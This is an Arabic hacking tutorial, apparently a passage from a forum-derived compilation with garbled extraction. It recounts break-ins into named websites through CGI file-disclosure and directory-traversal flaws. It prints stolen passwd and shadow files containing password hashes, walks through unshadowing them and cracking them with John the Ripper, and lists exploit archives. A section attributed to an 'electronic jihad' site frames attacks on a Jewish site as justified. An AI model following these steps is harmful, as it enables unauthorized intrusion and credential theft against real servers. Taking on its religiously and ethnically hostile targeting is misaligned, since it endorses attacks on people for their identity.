‫سكربت بيرل أو سي هجي آي‪..‬أو كان برنامج تنفيدي‬ ‫أو حتى نظا‪.‬م التشغيل أو ملقم الويب مصاب بنقطه‬ ‫ضعف من الممكن أن يعرض السيرفر للتختراق‬ ‫ويعرض كل ما بداتخله من أسرار الى المخترق ‪،‬‬ ‫سأتختار لكم حادثه مره معي‬ ‫‪ ،‬عداد زورا‬ ‫‪ counter‬عرض موقع‬ ‫‪ mp3‬مشهور للتختراق في أي لحظه ‪ ،‬أول مادتخلت‬ ‫الموقع ونزلت أغنيه ‪ Don't Tell Me‬في الوقت‬ ‫اللي كانت الغنيه تنزل فيه حبيت أشوف الموقع‬ ‫‪533‬‬

‫وأضيع وقت الى أن ينتهي التحميل ‪ ،‬ما كنت أتوقع‬ ‫أني بلقي نقاط ضعف فيه ‪ ،‬فتحت التلنت‬ ‫وشبكت على كم بورت معروف مثل ‪ 25‬و ‪ 23‬و ‪21‬‬ ‫و ‪ 110‬الخ ‪ ،‬دتخلت منتدى في الموقع واتخذت إسم‬ ‫المنتدى ‪ Ikonboard v2.1.8b‬توهجهة الى كم‬ ‫موقع وبحثت فيها بسرعه عن نقاط ضعف المنتدى ‪،‬‬ ‫ولكن كانت نقاط الضعف لـ ‪Ikonboard v2.1.8b‬‬ ‫وليس ‪ ، Ikonboard v2.1.7b‬تركنا المنتدى‬ ‫ورحنا ندور على شئ ثاني ‪ ،‬فتحت السورس تبع‬ ‫الصفحه وبحثت عن ‪ cgi‬و ‪ ، pl‬وهجدنا سكريبت ثاني‬ ‫‪ ،‬علبة توصيت ‪ ،‬نبحث عن نقاط ضعف لها ‪ ،‬ل شئ‬ ‫تماما ‪ ،‬نكمل البحث عن السكريبتات ‪ ،‬وأتخيرا وعندما‬ ‫وصل التحميل للغنيه عند ‪ % 80‬كنت قد توصلت‬ ‫لنقطه ضعف في سكريبت ‪ cgi‬تخاص لعداد الزوار ‪،‬‬ ‫تمكنك من عرض أي ملف في السيرفر ‪ ،‬طلبت الملف‬ ‫‪ etc/passwd‬وطبعا كلمة المرور المسجله في‬ ‫المف كانت مضلله والنظا‪.‬م كان هو ‪ FreeBSD‬يعني‬ ‫كلمة المرور تكون في نفس الدليل ولكن في ملف ثاني‬ ‫وهوالملف ‪ shadow‬أو ‪، master.passwd‬‬ ‫لتشغل بالك الن بما تعنيه كلمة مضلله ومافائده هذا‬ ‫الملف ‪..‬كل هذا ستعرفه قريبا ‪...‬إستمر في القراءة‬ ‫فقط‬ ‫‪534‬‬

‫‪++++++++++++++++++++++++‬‬ ‫الجزء الثاني‬ ‫} ‪http://www.fbunet.de/cgibin/nph-‬‬ ‫‪ { %20%20%20%20%20.cgi‬هذا ‪ ، CGI‬ل‬ ‫تستغرب ‪ ،‬هذه هي الحركات الجديده لنشر ال نكمل‬ ‫الموضوع ‪....‬‬ ‫ما قلت هذا موقع يهودي وال بدمره وصلح عليهم‬ ‫عنتر ولد بو شداد ‪ ،‬أرسلت رساله لنقطه الضعف ‪،‬‬ ‫صلحت لها نسخ ولصق ‪ ،‬ورد علي بالشكر وقائمه‬ ‫بالغاني الجديده لديهم وأتخذ فكره حسنه عن المسلمين‬ ‫وعن العرب بدل من فكره الرهاب اللي حكوماتهم‬ ‫تزرعها في عقولهم‬ ‫لنأتخذ مثال ‪ :‬الموقع ‪ timduff.com‬هذا موقع‬ ‫يستحق التدمير ‪ ،‬وقد تم ذلك ‪ ،‬وهو الن تم إرهجاعه‬ ‫ولكن من هجديد ول يحوي ال القليل من الصفحات ل‬ ‫تتجاوز إثنتان‬ ‫سمعت عن هذا الموقع في أحد منتديات الهاكرز‬ ‫النجليزيه بأنه يقد‪.‬م تخدمه ل أعلم ما هي بالضبط ‪،‬‬ ‫فذهبت للموقع لسجل واعرف ماهي ‪ ،‬كان التسجيل‬ ‫‪535‬‬

‫عن طريق إرسال معلومات الى بريد اللكتروني‬ ‫ارسلت معلومات ‪ ،‬وصلني الرد بعد ساعتين تقريبا ‪،‬‬ ‫كا كنت أن الرد يكون كله حش وسب ‪ ،‬ما كنت أقراء‬ ‫ال كل‪.‬م كله حش وسب ‪ ،‬ليش ‪ ،‬تبين لي السبب هو‬ ‫ذكري كلمة ‪ ، i'm from saudi arabia‬ولكن‬ ‫لماذا كل هذا الحقد ‪ ،‬ومضت ايا‪.‬م وكل يو‪.‬م والثاني‬ ‫أحقد عليه أكثر وأكثر عشان عنصريته ‪ ،‬ال أن توفقنا‬ ‫ولقينا لملقم الويب حقه نقطه ضعف في موقعي روسي‬ ‫‪ ،‬وال الن غير مرقوعه ‪ ،‬تقدر تعرض كل الملفات‬ ‫الموهجوده في السيرفر ‪ ،‬وتقدر تسحب منها كل ماتريد‬ ‫‪ ،‬عن طريق اليو آر إل هذا‬ ‫عنوان الموقع وثم‬ ‫‪ /../../../../../../../../../../../../../../../../../‬أو حتى‬ ‫من الممكن أن تضع بعد عنوان الموقع ‪ /../‬فقط ‪ ،‬هل‬ ‫عرفت ما تعرض لك هذه التخيره !‬

‫الن سوف أضع النقاط الساسيه لكشف نقاط ضعف‬ ‫على موقع ما ‪-:‬‬ ‫‪ -1‬التعرف على كافه الخدمات الموهجوده على السيرفر‬ ‫‪536‬‬

‫‪ -2‬معرفه نظا‪.‬م التشغيل وإصدارته وكذلك ملقم الويب‬ ‫وأي برمجيات أتخرى مثل مفسر نصوص بيرل إذا كان‬ ‫ذلك ممكن ‪ ،‬أو برنامج للبيع والشراء ‪.....‬الخ‬ ‫‪ -3‬عمل هجلسه للتقاط كل السكربتات ) ‪Perl -‬‬ ‫‪ ( Cgi‬الموهجوده في الموقع ‪ ،‬هذا إذا وهجد شئ منها‬ ‫‪ -4‬ولتنسى تحط البورتات معها ‪ ،‬لنه أحيانا يكون‬ ‫في البورت نقطه ضعف ‪ ،‬ليس هذا صحيحا ‪%100‬‬ ‫نقطه الضعف ليست في البورت بعينه ‪ ،‬في البرنامج‬ ‫اللي مصلح إنصات للبورت )هذا أقرب تعبير لها(‬ ‫‪ -5‬أتخيرا يمكنك الستفاده من المعلومات التي حصلت‬ ‫عليها في البحث عن نقاط ضعف )يوهجد في آتخر هذا‬ ‫المستند مواقع من ظمنها مواقع تحتوي على أرشيفات‬ ‫قد تفيدك في الحصول على الثغرات(‬

‫‪537‬‬

‫ كيف يمكن إستغلل نقاط الضعف المكتشفه ؟‬‫~~~~~~~~~~~~~~~~~~~~~~~~~~~~~‬ ‫~~~~~~~~~~‬ ‫أبسط الثغرات والتي يستطيع أي مبتدي أن يستخدمها‬ ‫هي تلك التي تنفذ من تخلل المتصفح ‪ ،‬مثل المثال‬ ‫السابق ذكره لتختراق الموقع‬ ‫‪/http://www.timduff.com‬‬

‫نوع آتخر ‪ ،‬يكون الستثمار )من الن سوف نطلق إسم‬ ‫إستثمار على الطريقه التي تستغل بها الثغره( يكون‬ ‫الستثمار على شكل شفره )كود( مكتوب ببرنامج ‪sh‬‬ ‫في ليونكس ‪ ،‬وهو ما يسمى بالعربي برنامج الغلف‬ ‫وبالنجليزي ‪ shell‬وتكون هذه الشفره تحت ملف‬ ‫بالمتداد *‪ sh.‬وتعمل تحت بيئه ليونكس ‪ ،‬وهذا النوع‬ ‫من الستثمارات هو المفضل ويحسس المخترق بالقوه‬ ‫ونظرا لتعدد الداوت في ليونكس فإن لغه ‪shell‬‬ ‫اصبحت قويه فهي تقابل كتابه ملف دفعاتي في ويندوز‬ ‫)‪(bat‬‬ ‫‪538‬‬

‫ويوهجد نوع من الستثمارات ثاني وهو شفره )كود(‬ ‫مكتوب بلغه ‪ C‬المشهوره ‪ ،‬وهذا النوع غالبا ما تحدث‬ ‫فيه أتخطأ أثناء عمليه الترهجمه ‪ ،‬قد تواهجه كثير من‬ ‫المتاعب لذلك يجب أن تكون لديك تخلفيه في لغه سي ‪،‬‬ ‫ولترهجمه هذا النوع عليك بالذهاب الى ليونكس‬ ‫وترهجمته بإستخدا‪.‬م المترهجم ‪gcc‬‬ ‫‪gcc Exploit.c -o Exploit‬‬ ‫ملحظه مهمه ) يجب أن يكون المتداد للمف *‪c.‬‬ ‫وليس *‪ ، C.‬لو كان حرف ‪ c‬كبتل فسوف يترهجم‬ ‫الستثمار وكأنه كتب في سي ‪ ، ++‬الشئ الثاني تأكد‬ ‫من توفر المكتبات )*‪ (h.‬التي يتطلبها الستثمار قبل‬ ‫تشغيله(‬ ‫عليك زياره موقعي فهناك مستندات في البرمجه قد‬ ‫تنفعك‬

‫يوهجد نوع ظهر مؤتخرا من الستثمارات وبداء ينتشر‬ ‫وهو أيضا شفره ولكن مكتوبه بلغه ‪ Perl‬ومن‬ ‫الممكن أن يتم تشغيل هذا النوع من موهجه الدوس في‬ ‫ويندوز )يجب أن تملك برنامج يفسر شفرات البيرل‬ ‫مثل أكتيف بيرل(‬ ‫‪539‬‬

‫وأحيرا انواع نادره من الستثمارات قد تكون على‬ ‫شكل تخطوات ‪....‬‬

‫‪ = Exploit‬إستثمار‬

‫ ماهو ملف كلمة المرور ‪ password file‬؟‬‫~~~~~~~~~~~~~~~~~~~~~~~~~~~~~‬ ‫~~~~~~~‬ ‫ملف كلمة المرور معروف من إسمه ‪ ،‬هو الذي في‬ ‫داتخله توهجد حسابات الشخاص المرتخص لهم بالدتخول‬ ‫‪540‬‬

‫ مثل هذا‬، ‫الى السيرفر‬ ----------------------------------------------------------------------------------------------root:x:0:1:Super-User:/:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: smtp:x:0:0:Mail Daemon User:/: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/li b/uucp/uucico listen:x:37:4:Network Admin:/usr/net/nls: nobody:x:60001:60001:Nobody:/: noaccess:x:60002:60002:No Access User:/: nobody4:x:65534:65534:SunOS 4.x Nobody:/: 541

‫‪www:x:102:1001::/web:/bin/csh‬‬ ‫‪mirrors:x:102:1001::/web/mirrors:/w‬‬ ‫‪eb/mirrors/menu‬‬ ‫‪sid:x:103:10::/export/home/sid:/bin/‬‬ ‫‪ksh‬‬ ‫‪mirror:x:104:1::/home/mirror:/bin/sh‬‬ ‫‪admin:x:105:1::/home/admin:/bin/sh‬‬ ‫‪jerome:x:106:1::/home/jerome:/bin/s‬‬ ‫‪h erl:x:102:1::/home/erl:/bin/sh‬‬ ‫‪landmark:x:1000:1000::/web/landma‬‬ ‫‪rk:/bin/ksh‬‬ ‫‪--------------------------------------------------‬‬‫‪--------------------------------------------‬‬‫وقد تكون أكثر بكثير ‪ ،‬حيث أن هذا الملف الموضح‬ ‫بالعلى أتختصر بشكل كبير ‪ ،‬فعند سحبه كان يحتوي‬ ‫على آللف السطور ‪ ،‬ليس كل ملفات كلمات المرور‬ ‫بهذا الحجم فيوهجد منها من ل يتجاوز ‪ 10‬أسطر وهي‬ ‫الموهجوده بكثره ‪ ،‬على العمو‪.‬م أنت الحين عليك تعرف‬ ‫بأن ملف كلمة المرور هو الذي في داتخله توهجد‬ ‫حسابات الشخاص المرتخص لهم بالدتخول الى السيرفر‬ ‫‪......‬‬ ‫‪542‬‬

‫ بماذا يفيدني هذا الملف ؟‬‫~~~~~~~~~~~~~~~~~~~~~~~~~~‬ ‫يفيدك يا الحبيب في معرفه كلمات السر وإسماء‬ ‫المستخدمين لكي تقو‪.‬م بإتختراق الموقع ‪ ،‬ولكن لتفر ح‬ ‫‪ !...‬كلمة المرور تكون مشفره ‪ ،‬ل هذا ليس صحيحا‬ ‫تماما ‪ ،‬كانت مشفره زمان ولكن في الوقت الحالي هي‬ ‫مضلله‬ ‫*او ‪ = x‬كلمة سر مضلله ‪Shadowed‬‬ ‫‪ = EpGw4GekZ1B9U‬كلمة سر مشفره على‬ ‫مقياس ‪ ، DES‬هذا النوع من التشفير المستخد‪.‬م في‬ ‫ليونكس و ‪ FreeBSD‬وعدد من النظمه التخرى‬ ‫‪543‬‬

‫ضعيف ‪ ،‬وهو دائما مكون من ‪ 13‬حرف ورقم كبتل‬ ‫وسمول ول يحتوي من بينها على رمز ابد ًا ‪ ،‬بإستثناء‬ ‫ويندوز فهو يستخد‪.‬م نوع آتخر من التشفير وهو نوع‬ ‫ضعيف أيضا‬

‫ كيف يمكن معرفة كلمة السر من تخلل ملف‬‫الباسورد ‪ password file‬؟‬ ‫~~~~~~~~~~~~~~~~~~~~~~~~~~~~~‬ ‫~~~~~~~~~~~~~~~~~~~~~‬ ‫~~~~~~~~~~~~‬ ‫إضغط ‪ Ctrl + Shift‬في القسم اليمن من لوحه‬ ‫المفاتيح لتقراء من اليسار الى اليمين ‪ ،‬ثم إذهب الى‬ ‫‪544‬‬

‫العلى حيث وضعت مثال لملف كلمة مرور تم سحبه‬ ‫من الموقع ‪... hwwilson.com‬‬ ‫تفسير هذا السطر ‪-:‬‬ ‫‪root:x:0:1:Super-User:/:/sbin/sh‬‬ ‫‪root‬‬ ‫هذا السطر يوضخ المستخد‪.‬م واللي هو الجذر ‪root‬‬ ‫‪x‬‬ ‫وكلمة المرور ‪ ،‬ويتضح انها مضلله ‪ ،‬يعني مكانها‬ ‫العلمة ‪ ، x‬ل تفكر في كسرها فهذا مستحيل ‪ ،‬لكن‬ ‫عليك البحث عن ملف ثاني تم تخزين فيه كلمة المرور‬ ‫‪ ،‬ستعرف بعد قليل كيف تفعل هذا‬

‫‪0‬‬ ‫هذا هو رقم المستخد‪.‬م‬

‫‪1‬‬ ‫رقم المجموعه‬

‫‪545‬‬

‫‪Super-User:/:/sbin/sh‬‬ ‫هذا مش مهم‬ ‫‪++++++++++++++++++++++++++++‬‬ ‫الجزء الثالث‬ ‫ ماالفرق بين إذا كان الملف )مشفر ‪(encryption‬‬‫وإذا كان )مضلل ‪ (shadowed‬؟‬ ‫~~~~~~~~~~~~~~~~~~~~~~~~~~~~~‬ ‫~~~~~~~~~~~~~~~~~~~~~‬ ‫~~~~~~~~~~~~~~~~~~~~~~‬ ‫الملف المضلل ‪ shadow file‬يكون مكان كلمة‬ ‫المرور رمز مثل * أو ‪ x‬أو ‪ #‬أو ! وهذا مثال لها‬ ‫‪root:x:0:1:Super-User:/:/sbin/sh‬‬ ‫لكن الملف المشفر تكون كلمة المرور مكتوبه ولكن‬ ‫مشفره مثل هذه‬ ‫‪root:Q71KBZlvYSnVw:0:1:Super‬‬‫‪User:/:/sbin/sh‬‬ ‫هنا تكون كلمة المرور المشفره هي‬ ‫‪Q71KBZlvYSnVw‬‬ ‫الن طلعت الصوره صافيه ‪....‬‬ ‫‪546‬‬

‫ وماذا لو كان ملف كلمة المرور مشفر ‪ ،‬كيف يتم‬‫كسره ؟‬ ‫~~~~~~~~~~~~~~~~~~~~~~~~~~~~~‬ ‫~~~~~~~~~~~~~~~~~~~~~‬ ‫~~‬ ‫البرامج كثيره وأشهرها هو ‪ Crack 5.0a‬و ‪john‬‬ ‫‪ the ripper‬ويوهجد آتخر بإسم ‪jack the ripper‬‬ ‫‪ ،‬إذا كنت ممن يجيدون العمل في ليونكس فهذا هجيد ‪،‬‬ ‫عليك تنزيل ‪ ، Crack 5a‬وأفضل ‪john the‬‬ ‫‪ ripper‬لمن يريد إستخدا‪.‬م ويندوز ‪ ،‬وللمعولميه فإن‬ ‫‪ john the ripper‬عمل أيضا تحت ليونكس ‪.....‬‬ ‫‪547‬‬

‫طريقه عمل هذه البرامج ‪-:‬‬ ‫يقد‪.‬م للبرنامج ‪ wordlist‬ويقو‪.‬م بمطابقه الكلمات‬ ‫الموهجوده به ‪ ،‬كما هو موضح هنا ‪.‬‬ ‫‪--------------------------------------------------‬‬‫‪\ --------------------------------------------‬‬‫‪------> Q2wrtUo9LPq2R‬‬ ‫يتم مقارنه | ‪} ---> //‬البدايه{ كلمة المرور | ‪/---/‬‬ ‫المشفره مع | ‪ / 1 /‬أتخذ كلمة من الـ ‪wordlist‬‬ ‫الكلمات | ‪ _____________ / 0 /‬المختاره حتى‬ ‫| }تشفير{‪ | | / 1 /‬يتم ‪/ ---------^--------‬‬ ‫‪ | word list |----\ / 0‬التطابق‬ ‫‪-> Q6LiJ6ct1oUBz‬كلمة مرور مشفره ‪/---/‬‬ ‫الكلمة المختاره | |_____________|‬ ‫‪ \ ------song--------// -----------------‬إذا حدث‬‫تطابق فهذا يعني أن‬ ‫كلمة المرور التي كانت مشفره‬ ‫قد كسرت ‪..‬‬ ‫|‬ ‫‪--------------------------------------------------‬‬‫‪ | ---------------------------‬ملحظه مهمه ‪ -:‬يتم‬‫‪548‬‬

‫عمل دوره مثل الموضحه في العلى لكسر كلمات‬ ‫المرور المشفره بسرعه‬ ‫}النهايه{ | ‪ 5000‬تجربه في الثانيه )إتختبرنا ‪john‬‬ ‫‪the ripper‬على معالج بسرعه ‪(700‬‬ ‫|‬ ‫‪--------------------------------------------------‬‬‫‪---------------------------‬‬‫‪--------------------------------------------------‬‬‫‪--------------------------------------------‬‬‫هذه الرسمه تعبت عليها عشان كذا ل أحد يسرقها‬ ‫لتشغيل ‪ john the ripper‬من واهجه دوس نكتب‬ ‫المر التالي‬ ‫‪john -w:wordlist passwd‬‬ ‫حيث ‪ wordlist‬هو ملف القاموس الذي يحتوي على‬ ‫عدد كبير من الكلمات‬ ‫و ‪ passwd‬هو الملف الذي يحتوي على كلمات‬ ‫المرور المشفره والتي نود معرفتها‬ ‫‪--------------------------------------------------‬‬‫‪--------------------------------------------‬‬‫‪549‬‬

Microsoft(R) Windows 98 C)Copyright Microsoft Corp 1981).1998 E:\Desktop\junk\john the ripper>john -w asswd passwd.txt by Sola 97,John the Ripper Version 1.3 Copyright (c) 1996 Loaded 1 password v: 0 c: 6401 t: 0:00:00:01 99% c/s:** 6401 w: *****DONE E:\Desktop\junk\john the ripper< ----------------------------------------------------------------------------------------------‫ الموهجود‬john.pot ‫وسوف تحفظ النتيجه في الملف‬ ‫ وعليك حذف هذا الملف إذا‬، ‫في نفس الدايروكتري‬ ‫أردت البدء في عمليه كسر هجديده ويمكنك تغيير إسمه‬ 550

‫أو نقله في مكان آتخر بدل من حذفه إذا كنت ترى ذلك‬ ‫‪...‬‬ ‫هناك طريقه اتخرى للكسر وهي تسمى بـ ‪brute‬‬ ‫‪ force‬أو بالعربي القوه العنيفه ‪ ،‬وهي ل تحتاج‬ ‫لملف ‪ ، wordlist‬هي تقو‪.‬م بتجربه كل الحروف‬ ‫والرقا‪.‬م والرموز مع بعض في تخانتان و ‪3‬تخانات‬ ‫واربع وتخمس ‪..‬الخ حتى تصيب كلمة المرور‬ ‫الصحيحه ‪ ،‬وأنا افضل ان تستخد‪.‬م ملفات ‪wordlist‬‬ ‫فذلك لن يأتخذ معك في ال ثواني فقط لن عمليه‬ ‫التجربه الموضحه في الرسم بالعلى ذكرت بأنه‬ ‫سرعة تجربه الكلمات يتجاوز ‪ 5000‬كلمة في الثانيه‬ ‫‪ ،‬إذا لم تفلح ملفات ‪ wordlist‬حينها إذهب الى القوه‬ ‫العنيفه ‪brute force‬‬ ‫المر التالي يجعل ‪ john the ripper‬يستخد‪.‬م‬ ‫طريقه ‪ brute force‬السابق ذكرها‬ ‫‪john -i passwd‬‬ ‫حيث ‪ passwd‬هو ملف كلمة المرور المراد كسره ‪،‬‬ ‫إذا قمت بتجربه هذه الطريقه إضغط إنتر أثناء عمل‬ ‫البرنامج لترى الى أين توصل ‪...‬‬ ‫‪551‬‬

‫ ولو كان ملف كلمة المرور مضلل ‪ ،‬ماذا علي ان‬‫أعمل ؟‬ ‫~~~~~~~~~~~~~~~~~~~~~~~~~~~~~‬ ‫~~~~~~~~~~~~~~~~~~~~~‬ ‫~‬ ‫دائما سوف تواهجه كلمة مرور مضلله ‪ ،‬لكن هناك‬ ‫طريقه تسمى ‪ Unshadow‬لحل هذه المشكله !!‬ ‫إذا واهجهت ملف مضلل عليك البحث عن ملف ثاني‬ ‫يسمى ملف الشادو )ملف الظل( ‪shadow file‬‬ ‫وهذا الملف يوهجد في امكنه معينه وكل نظا‪.‬م تشغيل له‬ ‫مكان يوضع به هذا الملف ‪ ،‬اليك الجدول التالي ‪:‬‬ ‫‪552‬‬

‫‪* = Linux : /etc/shadow token‬‬ ‫‪ = SunOS : /etc/shadow token‬يأتخذ‬ ‫أشكال متعدده اشهرها هو *‬ ‫‪FreeBSD : /etc/master.passwd or‬‬ ‫‪ * = /etc/shadow token‬والجديد هو ‪x‬‬ ‫‪IRIX : /etc/shadow token = x‬‬ ‫‪! = AIX : /etc/security/passwd token‬‬ ‫‪ConvexOS : /etc/shadow or‬‬ ‫‪* = /etc/shadpw token‬‬ ‫‪ token‬تعني الرمز الذي يوهجد في الملف ‪passwd‬‬ ‫‪ ،‬وهذا يفيد في تسهيل المهمه ‪ ،‬يعني لو مثل لقيت‬ ‫علمه ! بدل كلمه المرور فهذا يعني ان كلمة المرور‬ ‫مسجله في ‪ ، etc/security/passwd/‬لقد‬ ‫إستعنت بالجدول السابق ذكره ‪ ،‬مثال على ملف شادو‬ ‫)أكرر ملف شادو هو الملف الذي تخزن فيه كلمة‬ ‫المرور الصحيحه(‬ ‫هذا ملف ‪shadow‬‬ ‫‪--------------------------------------------------‬‬‫‪--------------------------------------------‬‬‫‪553‬‬

root:EpGw4GekZ1B9U:11390:::::: ::::::bin:NP:6445:::::: sys:NP:6445 adm:IyEDQ6VoRlLHM:10935:::::: #admin:9z8VMm6Ovcvsc:10935:::::: ::::::lp:NP:6445 ----------------------------------------------------------------------------------------------‫نلحظ ان كلمات السر موهجوده‬ passwd ‫الخطوه التخيره وهي دمج ملف الباسورد‬ ‫ لنحصل على ملف‬shadow passwd ‫ مع‬file ...‫متكامل ونقدمه الى برامج الكسر السابق ذكرها‬ ‫هذا ملف باسورد حصلنا عليه من‬ http://wilsonweb2.hwwilson.com/etc /passwd ----------------------------------------------------------------------------------------------root:x:0:1:Super-User:/:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: 554

lp:x:71:8:Line Printer Admin:/usr/spool/lp: smtp:x:0:0:Mail Daemon User:/: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/li b/uucp/uucico listen:x:37:4:Network Admin:/usr/net/nls: nobody:x:60001:60001:Nobody:/: noaccess:x:60002:60002:No Access User:/: nobody4:x:65534:65534:SunOS 4.x :/:Nobody www:x:102:1001::/web:/bin/csh mirrors:x:102:1001::/web/mirrors:/w eb/mirrors/menu sid:x:103:10::/export/home/sid:/bin/ ksh mirror:x:104:1::/home/mirror:/bin/sh admin:x:105:1::/home/admin:/bin/sh 555

jerome:x:106:1::/home/jerome:/bin/s h erl:x:102:1::/home/erl:/bin/sh landmark:x:1000:1000::/web/landma rk:/bin/ksh ----------------------------------------------------------------------------------------------‫ نعرف من‬x ‫ الموضح واللي هو‬token ‫ومن الـ‬ ‫تخلل الجدول السابق ذكره بأن كلمة المرور الصحيحه‬ etc/shadow/ ‫في الدليل‬ ‫إذن نتوهجه بالمتصفح الى‬ http://wilsonweb2.hwwilson.com/etc /shadow ‫لنحصل على الملف‬ ----------------------------------------------------------------------------------------------root:XOT4AiUKMRcKQ:10643:::::: daemon:NP:6445:::::: bin:NP:6445:::::: sys:NP:6445:::::: adm:NP:6445:::::: lp:NP:6445:::::: smtp:NP:6445:::::: 556

uucp:NP:6445:::::: nuucp:NP:6445:::::: listen:*LK*::::::: nobody:NP:6445:::::: noaccess:NP:6445:::::: nobody4:NP:6445:::::: www:WJctaI.8rcSe2:10507:::::: mirrors:gg9p.5kwGw1MY:10911:::::: sid:stXldZKnujFYo:10515:::::: mirror:iMPWwbrU.gB4k:10601:::::: admin:hDhB5YYKyWgQw:10976::::: : jerome:XDqnOl32tPoGo:10976:::::: erl:0jE9Xem4aJYeI:10982:::::: ::::::landmark:0jCgWu6vl8g0s:11185 ----------------------------------------------------------------------------------------------‫م بنسخ كلمات السر الموهجوده فيه ولصقها مكان‬.‫نقو‬ ‫ وهكذا مع هجميع‬، ‫ في ملف الباسورد‬x ‫علمه‬ ‫الحسابات لنحصل على ملف لمة مرور كامل ومتكامل‬ ‫ونقدمه الى برامج الكسر‬ -: ‫ملحظه مهمه‬ 557

‫عليك هجعل كل حساب في سطر ‪ ،‬يعني تربتها لتتعرف‬ ‫عليها برامج الكسر ‪...‬‬

‫مواقع تستحق الزياره ‪-:‬‬

‫أرشيف لثغرات‬ ‫‪www.securiteam.com/exploits/archi‬‬ ‫‪ve.html‬‬ ‫أرشيف لثغرات‬ ‫‪/http://www.ussrback.com‬‬ ‫أرشيف ثغرات ‪ +‬الكثير‬ ‫‪/http://www.secureroot.com‬‬ ‫أرشيف ثغرات‬ ‫‪/http://www.rootshell.com‬‬ ‫‪558‬‬

‫أرشيف ثغرات‬ /http://www.ussrback.com ‫مواقع لثغرات‬ www.secureroot.com/category/expl oits ‫دليل لمواقع الهاكينق‬ www.hitboss.com/Hacking ‫محرك بحث ل غني عنه‬ www.undergroundnews.com/resour ces/s...ound/search.asp Warez.com-Underground /http://www.warez.com Hacking (‫(ممتاز لمن يريد البدايه‬ /http://www.neworder.box.sk

559

Security Search Engine /http://www.bugs2k.com insecure /http://www.insecure.org </BODY></HTML/> http://public.www.easynet.co. uk/cgi...ail/formmail.pl<br /> <br /> ،،،‫انتهى‬<br /> <br /> 560<br /> <br /> ‫" اوختراق المواقع )الجزء الثالث( "‬ ‫>منقول من موقع الجهاد اللكتروني<‬ ‫اتخواني عالم التختراق كبير هجدا ‪...‬وبسيط هجدا هجدا‬ ‫لنه من صنع البشر‬ ‫كوني احد العضاء في هذا المنتدى وهجديد في باب‬ ‫التختراق عن طريق الثغرات‬ ‫وحتى تحصل الفائده للجميع ونتعلم من بعض ‪..‬فليس‬ ‫عيبا طلب العلم‬ ‫انما العيب الجهل والتعالي بالعلم نحن نتعلم ل لنجابه‬ ‫العلماء بل‬ ‫لننفع امتنا ونرفع رايتها ونقف في وهجه من يعاديها‬ ‫‪.....‬‬ ‫في الحقيقه موضوع الثغرات بسيط هجدا مثل ما انا‬ ‫‪561‬‬<br /> <br /> ‫قريت عنه بس‬ ‫يبي متابعه وشوية هجهد انا ساطر ح بعض السئله لعل‬ ‫التخوان المشرفين‬ ‫او الكتاب يساعدونا في الموضوع ‪....‬‬ ‫من تخلل قرائتي للعديد من تكست الثغرات رغم‬ ‫قدامتها تبين لي عدة امور‬ ‫* لن تخترق الموقع )‪ (host‬اللي مستضيفه السيرفر‬ ‫حتى تمتلك اليوزر والباسوور وهذا شيء طبيعي‬<br /> <br /> ‫* لن تخترق السيرفر حتى تمتلك ملف الصلحيات )‬ ‫‪ (passwd‬اللي هو حق الحسابات للمواقع‬ ‫المستأهجره‬ ‫عند السيرفر بس سؤالي اللي محيرني ان الملف واقع‬ ‫تحت مجلد اسمه اي تي سي ‪/etc/passwd‬‬ ‫احيان يكون اسمه ‪ shadow‬ويعني ان كلمة المرور‬ ‫‪562‬‬<br /> <br /> ‫نجمه او اكس او علمة تعجب اما ‪ passwd‬فتأتي‬ ‫فيه‬ ‫الكلمه مشفره وتستخد‪.‬م لها ‪john the ripper‬‬ ‫اللي يفك تشفيرها طبعا ملفات الشادو مالك امل للحين‬ ‫على حسب علمي مافيه برنامج لها ؟؟؟‬ ‫فيه سؤال هنا اللي نعرفه ان كل ملف له امتداد بس‬ ‫ليش الملف ذا ماله امتداد ؟‬ ‫واذا حصلت الملف باي طريقه كانت ؟؟ باي صيغه‬ ‫احفظه هل يحفظ كتكست ا‪.‬م )‪ (pwd‬او )اي صيغه( ؟‬ ‫بعدين فيه سؤال ثاني المجلد اللي فيه الملف من‬ ‫مجلدات اليونكس ؟ لنه كما معروف ان اليونكس‬ ‫له ست مجلدات‬ ‫‪ bin‬تخاص بالملفات الثنائيه يعني اللي تشغل النظا‪.‬م‬ ‫‪ etc‬ملفات ادارة النظا‪.‬م ومن ظمنها الرووت اللي هو‬ ‫حساب مدير النظا‪.‬م او ‪passwd‬‬ ‫‪563‬‬<br /> <br /> ‫‪ dev‬ملفات الهجهزه‬ ‫‪ lib‬مكتبات الربط الديناميكي اللي تساعد النظا‪.‬م في‬ ‫التشغيل‬ ‫‪ tmp‬الملفات الموقته او غير الثابته‬ ‫‪ usr‬اسماء المستخدمين وكلمات السر اللي لهم‬ ‫حسابت بالنظا‪.‬م‬ ‫هل يعني ذلك لو ان السيرفر فيه نظا‪.‬م ‪ nt‬اقدر انزل‬ ‫الملف منه ؟ وان المجلدات نفسها اللي باليونكس‬ ‫زي اللي موهجوده في ‪ nt‬ا‪.‬م تختلف واسم الملف‬ ‫يختلف ‪ admin.pwd‬مثل‬ ‫* بالنسبه لطريقة الثغرات تعني الطرق للوصول‬ ‫للملفات السابقه او ملفات اتخرى‬ ‫ومن اشهرها ثغرات السي هجي اي نسبة للمجلد ‪cgi-‬‬ ‫‪ bin‬او ملفات من امتداد ‪cgi‬‬ ‫ماعلينا ليش سموها ؟؟؟‬ ‫طيب وشلون نتعامل مع الثغره والموقع ببساطه شديده‬ ‫‪564‬‬<br /> <br /> ‫لنفترض ان لدينا ثغره ‪ php.cgi‬ونريد‬ ‫تطبيقها على موقع ذو دومين نيم يعني مو مستضاف‬ ‫مثل ‪ /http://www.jewish.org‬نفعل التالي‬ ‫‪ /http://www.jewish.org‬ثم نكتب ‪/cgi-bin‬‬ ‫ثم الثغره ‪ php.cgi‬بحيث تصبح الخطوات بعد‬ ‫تجميعها‬ ‫‪http://www.jewish.org/cgi‬‬‫‪ bin/php.cgi‬الكل‪.‬م هذا كله في المستعرض عندك‬ ‫في حقل‬ ‫الدرس العنوان‬<br /> <br /> 